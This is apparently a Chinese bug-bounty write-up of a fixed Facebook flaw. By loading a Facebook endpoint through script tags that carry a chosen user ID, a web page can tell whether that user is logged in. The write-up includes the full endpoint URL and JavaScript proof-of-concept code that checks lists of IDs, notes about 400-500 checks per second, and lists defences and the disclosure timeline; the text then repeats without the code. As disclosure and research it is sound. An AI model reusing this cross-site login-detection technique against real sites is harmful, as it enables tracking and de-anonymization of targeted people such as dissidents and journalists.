挖洞经验 | 通过一个网页识别Facebook用户当前登录状态
字数 1382 2025-08-18 11:38:08

Facebook用户登录状态检测漏洞分析报告

漏洞概述

本报告详细分析了一个Facebook漏洞,该漏洞允许攻击者通过构造特定网页,输入Facebook用户ID来检测该用户当前是否处于登录状态。漏洞由研究人员发现并报告给Facebook,经过半年多时间修复,Facebook最终奖励了1000美元赏金。

漏洞背景

在剑桥分析公司用户隐私事件后,Facebook推出了"数据滥用悬赏"计划(Data Abuse Bounty),旨在奖励与用户数据安全相关的漏洞发现。研究人员基于此背景,尝试寻找通过其他网站跟踪识别Facebook用户的方法。

漏洞发现过程

初始研究思路

  1. 寻找Facebook后端服务中:

    • 缺少access-control-allow-origin保护的服务
    • URL中包含用户ID参数的服务
    • 能够通过响应内容验证用户ID正确性的服务
  2. 检查包含用户ID的图片资源:

    • 发现某些图片在登录匹配时行为异常
    • 但这些URL包含fb_dtsg参数(CSRF防护),每个用户不同,难以利用
  3. 检查URL中的301/302重定向:

    • 试图通过重定向到图片资源构造攻击

关键发现

最终发现一个特殊服务端点,其行为特征如下:

  • 包含access-control-allow-origin
  • 当URL中的__user参数与登录账户不匹配时,响应包含"error"前缀
  • 当匹配时,响应为纯JSON内容

技术细节

绕过同源策略

由于存在access-control-allow-origin头,无法直接使用XMLHttpRequest(XHR)调用。解决方案:

  • 使用<script>标签的.src属性调用外部链接
  • 利用<script>onloadonerror事件判断登录状态

漏洞端点

https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjeDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1159016196%7D&__user=XXXXXXXXXXXX&__a=1&__dyn=7AgNe-4amaxx2u7aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1

检测机制实现

JavaScript核心代码

$(document).ready(function() {
    for (i = 0; i < ids.length; i++) {
        userid = ids[i];
        var scriptblock = document.createElement("script");
        scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
        scriptblock.id = userid;
        scriptblock.onload = function() { update_auto_result(this.id, false) };
        scriptblock.onerror = function() { update_auto_result(this.id, true) };
        document.getElementById('scriptblock').appendChild(scriptblock);
    }
});

function runcheck(userid) {
    var scriptblock = document.createElement("script");
    scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
    scriptblock.id = userid;
    scriptblock.onload = function() { show_result(userid, false) };
    scriptblock.onerror = function() { show_result(userid, true) };
    document.getElementById('manualblock').appendChild(scriptblock);
}

性能特点

  • Facebook后端使用HTTP2协议,可快速处理大量请求
  • 无速率限制
  • 每秒可查询400-500个用户ID
  • 一分钟内可查询数千个用户ID状态

漏洞危害分析

利用前提

需要知道目标用户的Facebook用户ID,可通过:

  1. 从"剑桥分析"事件泄露的数据中获取
  2. 专制政府掌握的特定人员信息
  3. 公司内网中收集的内部人员信息

潜在影响

  1. 隐私侵犯:检测用户在线状态属于隐私侵犯
  2. 针对性攻击:对特定人群(如异议人士、记者等)影响更大
  3. 行为分析:可建立用户在线行为模式

防御建议

  1. 服务端修复

    • 统一所有端点的安全策略
    • 对敏感端点实施严格的同源策略
    • 添加速率限制
  2. 客户端防护

    • 使用隐私保护浏览器扩展
    • 定期清理Cookies
    • 使用不同浏览器进行不同账户的登录

漏洞披露时间线

  • 2018.5.1:研究人员询问漏洞状态
  • 2018.5.2:Facebook回复正在调查
  • 2018.5.23:Chrome环境修复,Safari仍可利用
  • 2018.5.23:Facebook表示正在制定修复方案
  • 2018.6.20:Facebook奖励1000美元

总结

该漏洞展示了如何通过巧妙利用Web技术(如script标签加载和事件处理)绕过同源策略限制,实现对用户隐私状态的检测。虽然需要预先知道用户ID,但在特定场景下仍可能造成严重隐私泄露。此案例也说明了大型Web应用在保持功能丰富性的同时,确保所有端点安全性的挑战。

Facebook用户登录状态检测漏洞分析报告 漏洞概述 本报告详细分析了一个Facebook漏洞,该漏洞允许攻击者通过构造特定网页,输入Facebook用户ID来检测该用户当前是否处于登录状态。漏洞由研究人员发现并报告给Facebook,经过半年多时间修复,Facebook最终奖励了1000美元赏金。 漏洞背景 在剑桥分析公司用户隐私事件后,Facebook推出了"数据滥用悬赏"计划(Data Abuse Bounty),旨在奖励与用户数据安全相关的漏洞发现。研究人员基于此背景,尝试寻找通过其他网站跟踪识别Facebook用户的方法。 漏洞发现过程 初始研究思路 寻找Facebook后端服务中: 缺少 access-control-allow-origin 保护的服务 URL中包含用户ID参数的服务 能够通过响应内容验证用户ID正确性的服务 检查包含用户ID的图片资源: 发现某些图片在登录匹配时行为异常 但这些URL包含 fb_dtsg 参数(CSRF防护),每个用户不同,难以利用 检查URL中的301/302重定向: 试图通过重定向到图片资源构造攻击 关键发现 最终发现一个特殊服务端点,其行为特征如下: 包含 access-control-allow-origin 头 当URL中的 __user 参数与登录账户不匹配时,响应包含"error"前缀 当匹配时,响应为纯JSON内容 技术细节 绕过同源策略 由于存在 access-control-allow-origin 头,无法直接使用XMLHttpRequest(XHR)调用。解决方案: 使用 <script> 标签的 .src 属性调用外部链接 利用 <script> 的 onload 和 onerror 事件判断登录状态 漏洞端点 检测机制实现 JavaScript核心代码 性能特点 Facebook后端使用HTTP2协议,可快速处理大量请求 无速率限制 每秒可查询400-500个用户ID 一分钟内可查询数千个用户ID状态 漏洞危害分析 利用前提 需要知道目标用户的Facebook用户ID,可通过: 从"剑桥分析"事件泄露的数据中获取 专制政府掌握的特定人员信息 公司内网中收集的内部人员信息 潜在影响 隐私侵犯 :检测用户在线状态属于隐私侵犯 针对性攻击 :对特定人群(如异议人士、记者等)影响更大 行为分析 :可建立用户在线行为模式 防御建议 服务端修复 : 统一所有端点的安全策略 对敏感端点实施严格的同源策略 添加速率限制 客户端防护 : 使用隐私保护浏览器扩展 定期清理Cookies 使用不同浏览器进行不同账户的登录 漏洞披露时间线 2018.5.1:研究人员询问漏洞状态 2018.5.2:Facebook回复正在调查 2018.5.23:Chrome环境修复,Safari仍可利用 2018.5.23:Facebook表示正在制定修复方案 2018.6.20:Facebook奖励1000美元 总结 该漏洞展示了如何通过巧妙利用Web技术(如script标签加载和事件处理)绕过同源策略限制,实现对用户隐私状态的检测。虽然需要预先知道用户ID,但在特定场景下仍可能造成严重隐私泄露。此案例也说明了大型Web应用在保持功能丰富性的同时,确保所有端点安全性的挑战。